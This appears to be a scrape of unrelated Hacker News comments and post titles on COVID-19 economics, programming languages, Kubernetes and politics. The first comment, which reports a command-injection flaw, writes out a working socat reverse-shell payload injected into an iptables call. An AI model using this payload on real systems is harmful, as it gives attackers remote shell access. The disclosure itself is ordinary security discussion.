skysight-inc/HackerNews huggingface dataset:
it looks like this CLI has some hardcoded shell commands with variable substitutions that look possibly unprotected against command injection.

For example

iptables %s > %s 2>&1

could probably be executed as

iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane > /var/IptablesInfo 2>&1

by issuing

iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane

and therefore it might be possible to get real shell access too.
Almost every restaurant owner I know is about to fold or taking emergency loans. From people with several franchised sandwich shops to stand alone restaurants.

Who is reporting profits are up?
Really, your solution to this is "Republicans bad"? The Democrats are far from perfect. I'm not happier than the next guy about the bail-outs of companies, but you're saying it's okay to dispense colossal hand-outs to everyone? The government cannot solve this problem. It's not the government's job. Bad things happen; go back to life.
How is shrinking the government to blame for an inadequate government response? It seems self-evident to me, perhaps I'm missing something.

Also, South Korea did a great job containing the virus, so authoritarianism isn't a prerequisite to addressing this crisis.
Something somewhat similar is How to Become a Pure Mathematician (or Statistician)

http://hbpms.blogspot.com/
Maybe the existing designs are fine. They might also be proprietary though and controlled by slow moving corporations (as opposed to fast moving ones and startups). There may yet be good opportunities for innovation but the main thing is to spike the rate of production. Yes while being safe and legal, those are table stakes.

Anyway reinventing the wheel is underrated. Taking actual wheels as an example, there’s a long and impressive history there and we’re not close to being done yet. And so with most other things.
> Naturally people aren't going hole up for a year, but we have to stop acting antsy when we've been in our houses a week or two.

It's natural to be antsy if you've lost your job, have no social safety net, and can't pay for food or your rent.

Either pay them to stay home, or don't be surprised when they leave to attempt to make a living to survive. They're already at risk of being homeless and destitute, so COVID matters much less to them. And I don't blame them.
That's a good point, thanks for chiming in!
> This may feel like cheating, but it’s okay! Examples are not merely reusable templates but tools for learning, hinting at subjects for study. “Breaking” an example by tinkering—changing stuff and seeing what happens—helps you achieve understanding faster than passive reading.

I haven't had to use d3 in anger for some time but have an idea that means I need to re-learn it; I haven't finished yet but this is a great article. Thanks all for writing and/or sharing it.
It's just the consequence of market economy. Everyone is under pressure to "cut out fat", make themselves "lean". That applies everywhere across the supply chain. First thing that goes is every redundancy, buffer and spare capacity - things that would mitigate a crisis like this. It's because the companies that "cut out fat" can grow faster, sell cheaper and profit more, compared to their competitors that have risk horizons longer than few months.

What needs to be done is legally mandated buffers and redundancies (so that no one can gain a competitive advantage by omitting or removing them). Many countries had that after II World War. Unfortunately, out of the wood works came people screaming "efficiency!" and cut it all out.
From a practical standpoint, I agree (I've started abusing getentropy(2) as a more portable replacement), but it violates the use case though: getentropy(2) is only intended to seed userspace RNGs. Breaking the usage scenario means breaking the API contract.
Something weird going on with that page! The article number in the URL changes back and forward between 2 numbers as you scroll! Makes coming back to HN a bit tricky!

Interesting read though
Thanks for clarifying, makes tons of sense to prevent a flame war even if the source is legit.
Ask HN: Portable and Affordable Brain Scanning
Brain scanning reveals physiognomic data important to health and well-being. Right now, this seems like a very costly part of health care. Imagine a way to do brain scans in a portable and affordable way. We could do annual scans for communities with a traveling caravan of scanners to help ensure longevity and excellent health. What would such an apparatus need at the very least, and what would it look like?
I still write almost all my code in Pascal

It compiles very fast to native code, has properties with implicit setters/getters, null-safe strings with mutability xor aliasing, function and operator overloading.

It is really amazing
Stairway is not a ripoff of Taurus and it never was going to be, but there are plenty of other accusations against Led Zeppelin that are more credible. I have Spirit’s eponymous album, the part in question that is “ripped off” is so basic and found in so many songs you’d die before you could list them all.

(FYI—You the news you “think you saw recently” is in the linked article above the fold, which features a photo of Robert Plant right next to the headline.)
i commend the effort.
Agreed. There is so much creativity going on with figuring out ways to do those collaboration activities that are hybrid low tech/hi tech solutions as you pointed out. The control freak companies is well entrenched in our industrial culture with a catalyst being the face/face and daily scrum. Changing culture is hard and slow, but this pandemic can be the start of a culture shift if we collectively figure out ways to push it and demand it.
Does it? Let's set aside the scorekeeping systems we use (money, profit, ownership, wealth) for a moment. I see no reason to think we can't get people properly fed indefinitely. We'll still have power, water, sewage, bandwidth. And it's not like the shut down businesses will evaporate or anything. The buildings will be there. The equipment will be there. 97%+ of the staff will still be around.

Eventually we'll have a vaccine, and life can go back to normal (if we want). The main problem in the interim is keeping everybody from freaking out because the before-times social constructions weren't really set up for a global pandemic. But we can fix that if we want.
LICEcap is great software - we use it extensively on my team to share little highlight reels of a given feature in pull requests
I'm seeing a lot of grumbling here about this being "slow", but currently most COVID testing involves shipping samples around to remote labs. A NYT article about a hospital in Brooklyn mentioned that their samples are tested in California (!), and with these labs also inundated, average time to get a result is over a week now.

So if you can install these machines directly in hospitals, clinics etc, they will still be far faster than sending them off to a lab.
> And just like the Depression, a few years of boom times afterwards and that effect will be negated

Actually Depression changed consumer habits for entire generation. People saved more, spent less, kept money under the mattress etc. Not a generation that you can kick-start an economy with.
A year from now, will we look back and say it was worth the suffering for something 5x as bad as the flu? (based on Germany’s numbers, which are more fully accounting for those with mild symptoms)

Shows how important testing randomly is, if the denominator is low because you are only testing those in the hospital, it looks like the second coming of the Spanish flu.
> The musl author doesn't believe programs should unload code. Therefore, you're not allowed to do it.

Where did you get this? A rationale is given at [1], and it's basically:

1) dlclose() being a no-op is allowed by POSIX.

2) It's common for unloading and reloading libraries to trigger subtle/latent bugs, so making dlclose() a no-op leads to more reliable operation in the common case.

3) Managing thread-local storage in combination with unloading libraries is a complex problem, and arguably requires libc to either weaken error handling or leak memory.

This is certainly consistent with an opinionated-standards-lawyer-curmudgeon view of the world, but it seems pretty far from just saying that you're not allowed to do it because you shouldn't.

[1] https://wiki.musl-libc.org/functional-differences-from-glibc...
Exactly that. It was a nightmare. I wanted to participate and it was a disaster. Channels were an unmoderated mess. Lots of people just used it to advertise whatever solution they are currently selling and many people just were not able to find projects they could help get off the ground.

I believe the government will pat itself on the back as will do the organizers, but having lived through it and genuinely tried to help people I can only count it as one of the worst wastes of time I ever experienced.

Sadly, because the idea behind it was totally great. And I believe if a team already had formed before that, that they could achieve interesting results. But going in and trying to just be help- and impactful was doomed.
I mean, even if most people don't get sick enough to miss work for 2 weeks a year, 10 sick days a year is a pretty common number to give an employee, either by statute or as part of the benefits package. Even if they don't get used completely every year, most businesses are budgeting for their employees to be non-productive due to illness for two weeks each year.

And obviously colds and flu aren't the only way people get sick and miss work, but if you could cut those two weeks per year to one week per year by having three weeks of quarantine every four years, that's a productivity win before you include the more predictable "nothing happens in February this year", the economic value of the lives saved, and the savings on healthcare spending on the people who don't get sick.
Need to watch out for update failure, some sort of transaction management/atomic commit[2] such that if one update fails, other updated dbs should rollback.

1. https://en.wikipedia.org/wiki/Atomic_commit
Show HN: Quidli – Distribute work perks in BTC
Not one of the 4 values but it is is the 6th of the 12 Agile Principles
How much are you willing to pay to remove the ads?

If nothing then perhaps it was needed.
What you define is not contribution, it's participation. Killing meritocracy entirely also kills the incentive to improve oneself. Distributing equity non-equally is just one of those dials which if you adjust slightly, you reward people who are able to self improve more. Do it too much, you alienate your team (as you pointed out). Do it never, you reward the lazy by not rewarding the hardworking. I think you are on the right track with your intentions but having a balanced approach is the key and choosing one extreme over the other is not the path forward here.

This has been a fun debate but I believe what I think about the topic can be summarized as this:

Healthy competition without the toxicity is possible in the workplace. It is just hard and needs careful attention to detail. If you ask how much, that's probably the subject of ideology. When ideologies battle, it's either bloody and both sides lose or it's small wins and loses achieved by mutual compromise. No matter where the balance is met, it must progress with dialogue.
There are probably >100,000 c++ devs out there, and ~100 of them work on HotSpot. I don't think the HotSpot devs are significant in encouraging c++ usage
What's the PTO policy.
No, in general looking to deploy stateful long-running tasks. This was just an example. Can be any application that runs on a loop, i.e. not triggered but polling.
> The government cannot solve this problem.

The government is precisely the only instance that is able to solve this problem, with "solution" not being "make it go away instantly", but "navigating through the time until a vaccine is available in the best way possible".

> reduce taxes massively

This ideology partially got you into the problem. 1.5 trillions in taxes have just been reduced while everything was fine, just "because the people in power could" - and because it benefitted their purses. It's an ironic twist of fate that Congress just passed a deal of almost-identical "historic" proportions with the goal of pushing a similar sum of money into the hands of the people that are NOT in power, because if the people in power don't do this, the entire country is going to blow up around them, reducing the previously-inflated contents of their purses (stocks, real estate) to shreds.

Now tell me again that the "government cannot solve this problem". Even the anti-government Republicans currently seem to look to the government as the only instance potentially capable of solving this problem.
This is hubris talking. Nature can humble us at any time and we can do little-to-nothing nothing about it. Not to say we shouldn't try. But humanity vs the worst things that the environment can dish out–super volcanoes, asteroids, super bugs–isn't really a contest at all. CoVID-19 isn't even an extinction level event.
PSA Safe Grocery Shopping in Covid-19 Pandemic
I'm not claiming anything. Did you read the article?
Theoretically the difference is that it is.. well, distributed. Aka any benefits you'd attribute to having a file on IPFS over Github could apply here.

Which is to say, if Github goes down, gets blocked, blocks your team, etc; your team can still push to the "centralized" repo, etc etc.
Dyson and Airbus expect green light to start making ventilators
When Network Effects Fail
Thx this is, something I needed. Maybe add a proper filtering for VISA / relocation sponsorships?
Keyword search for Visa doesn't seem to work as expected. Remote filtering seems somewhat working tho.
FWIWI a few days back I upgraded my microk8s-based k8s to 1.18 beta channel and it solved at least ImagePullBackOff problem that I had with pulling from my private GitLab registry.
Worked like charm.
Was that section originally in TFA? It's encouraging, but it certainly contradicts claims that this will only be applied to "3rd party" stuff in iframes...
If you want to "overload" a function. Do

def area(shape):
return shape.area()

and implement it appropriately in your type.
I'm not a freelancer, but what I'm seeing on corp finance side, I'd recommend that you do not take on significant AR. If you can, push for increased payment frequencies if you have the opportunity. Myself and my peers are turning off payment to vendors/contractors until further notice, even if they have not been notified yet. Lawyers are telling us most contracts can basically be thrown in the trash under the economic circumstances.
This is exactly right. The economy has grown to unsustainable levels based on the economic habits of the average American who can't be bothered to save, hence the crash we're seeing now. At sixty hours a week, that guy should be making six figures, pre-tax. There is zero excuse for not saving. Everyone should save at least six months of salary for emergencies; though a few people legitimately can't, most Americans simply don't bother because they'd rather spend that money on the new i phone.

Edit: Williamdclt, I'll answer your question here due to rate-limiting.

Yes, lots of us do; I've been working that way since internships in high school. Same with many others I know. Usually, though, it's close to 12 hours a day and none on Saturday, or maybe 11 a day and a little on the weekend. Not an issue so long as you plan about an hour a day for something fun and mindless, and leave weekends free to do chores/relax.

Edit: Consz, responding here due to rate-limiting.

Not all of us live in the same world. I'm glad to hear you and your friends are doing well, but that's not representative of everyone. I do because I'm currently hourly, and that's true of many of the people I mentioned. When every additional hour worked has more money associated with it, most people will work more; that's not silly. The downside is, of course, there's a distinct opportunity cost to taking time off, so I don't do so much of that.
Any thoughts on this. This will help all of us.
I'm not sure what you're basing your assertion on, but the estimated number of symptomatic flu illnesses ranges from 9.3 million to 45 million annually over the past decade, which as I said is roughly from between 3 and 15% of the US population.

https://www.cdc.gov/flu/about/burden/past-seasons.html
How does it compare to kops or, dare I say it, kubespray?
Yeah, I wish that science reporting would either a) mention specifics on methodology or b) link directly to papers.

Without this plus a stronger push for open-access publishing, readers often have absolutely no way to verify claims like this - and, moreover, have no way to learn how to apply similar methodologies to their own work. There's a lot of people in data science / analytics positions right now who could benefit from sharing knowledge around statistical tools to correct for highly unusual situations.
At least with streaming you won't have to go through the trouble of pulling physical copies from stores and destroying them.

It's sad though that file sharing is no longer a big thing, since that allowed illegal remix culture to really thrive.
What if that ends up being true?
Ada was also very expensive up until relatively recently, so there could very well be something to what you're saying.
Implicit consent is lack of explicit consent so yes, apple fixed the problem by inventing another one. The thing is, this new problem of missing the explicit consent is easier to fix than going all in with the implicit approach. Not sure if Apple will follow though.
You're lucky to have an SSH server active, on mine I had to open the router and dump the firmware manually :/
None of my expenses have changed. And as far as I know, it would be a problem if I lost my income as I would still need to pay rent/mortgage, taxes, groceries, utilities, health insurance.
Depends if they `execve` or run the command inside a shell.

I'd bet for (1), but who knows.
> As an aside, nobody writes BBC BASIC on a C64. You write the C64 variant.

My mum only knew BBC Basic, so that's what was loaded first and I remember it distinctly. It may have been emulated, it certainly wasn't the default thing that came up when you powered the unit on, you had to "load" it from a tape deck and it took 30 minutes.
60% of Millennials (basically people in their 30's) don't have enough saved for a $1000 emergency: https://www.cnbc.com/2018/12/19/60-percent-of-millennials-ca...
I agree. Let's pay people so that everyone can do the right thing in this time of crises.
Gain the user’s trust for digital apps through UX design
> Also, your last paragraph make it sound like the people in those roles cannot handle their job responsibilities AND a couple of disturbances.

A distraction during deep work can easily take 15-20 minutes to recover from.
Dynamic linking isn't the issue. Shared libraries are the issue. You could bundle a bunch of .so files with your executable & stick it in a directory, and have the executable link using those. That's basically how Windows does it, and it's why there's no "dependency hell" there despite having .dlls (dynamically linked libraries) all over the place.

Shared libraries are shared (obviously) and get updated, so they're mutable. Linux systems depend on a substantial amount of shared mutable state being kept consistent. This causes lots of headaches, just as it does in concurrent programming.
Or the ones that want 5 years experience in a JavaScript framework that has only been out for 2 years.
I confirmed that the state's unemployment website has slowed to a crawl (if it is working at all).
Biggest spike in jobless claims in U.S. history
I don't work in an area where my skills can contribute but I'm in the process of finding out if I can sort insurance out to go out and do medication deliveries on motorcycle for local pharmacises, with the lockdown and the number of vulnerable people (including my mother and best friend) who can't leave their houses there is >1.5m people who can't leave at all for health reasons most of whom require prescription medication monthly.

At the moment I feel so incredibly fucking useless lurking at home playing video games.
We should be cutting the bloated military budget not entitlements.
Very nice - also serves as a visual representation of the confusing fragmentation of web technologies. Many batteries - none included!
I call them “terminal adapters”, because I’m still stuck in the ISDN age.
> "Google has the same tactic, even paying below market rates to people willing to work their for the brand."

I've never heard anyone say that google pays below market. Perhaps there are those who pay more, but it's definitely above "the market"
Supermarket Forced to Destroy $35,000 in Food After Woman Coughs All over It
Yes, a higher unemployment number was expected. Did you think unemployment going way up wasn’t already partially priced in?
They might be making more money on sales vs staff right now but anyone who has a rent payment isn't going to cover it with takeout alone.
redirections aren't parsed by exec....
As a developer I immediately though of the power of queues. Twenty people trying to submit same form does not work for everyone, but a queue processing one person at a time might allow the twenty people to submit within a short time. It is flattening the curve! If I was contracted to fix this ASAP, I would set up an nginx front-end proxy config that doesn't allow more than X sessions and suggest a time in the future when they could try again.
I'm not saying countries are not implementing economic mitigations - I'm saying the only voices in decision making are coming from medical experts - there is no public evaluation or discussion of economic impact as a counterpoint to any action suggested by epidemiologists and doctors. The economy minister here is just putting out fires - he has zero say in the measures taken.

And the politicians in charge are too afraid to debate the experts and frankly lack any leadership at all in this situation - (with a few exceptions in other countries). Blindly listening to experts of one domain because you are afraid is not leadership, they are supposed to do balancing decisions - and from what I see in the media they basically delegated the government responsibilities - if they are discussing this they are certainly not making their discussions or reasoning public.
Wages have stagnated since the 1970s: https://i.stack.imgur.com/m7EXP.jpg
So there are organisational differences, okay, fine. That isn't Slack's fault?

What kind of company says you have to enable notifications? That's some serious micromanagement going on. I'm sorry to hear you had to endure that.
What moral framework can countenance the destruction of the Monarch butterfly?